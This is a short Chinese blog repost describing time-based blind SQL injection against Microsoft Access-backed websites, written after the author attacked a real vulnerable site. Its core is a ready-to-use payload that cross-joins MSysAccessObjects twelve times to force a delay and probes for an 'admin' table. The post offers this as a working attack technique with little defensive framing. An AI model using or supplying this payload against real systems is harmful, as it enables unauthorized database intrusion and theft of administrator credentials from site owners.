首页 > 数据库技术 > 详细

ACCESS延时注入

时间:2016-12-06 01:54:28      阅读:194      评论:0      收藏:0      [点我收藏+]

这也算是个新知识吧。今天遇到个站,实实在在存在注入,但是弄不出字段。本应该可以用便宜注入。但是不知道为什么就是就是弄不出来.

大家如果有兴许可以加学习交流群:281245781 交流一下吧。

Payload:

 (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4,MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and exists(select count(*) from admin) 

ACCESS延时注入

原文:http://www.cnblogs.com/xishaonian/p/6135764.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!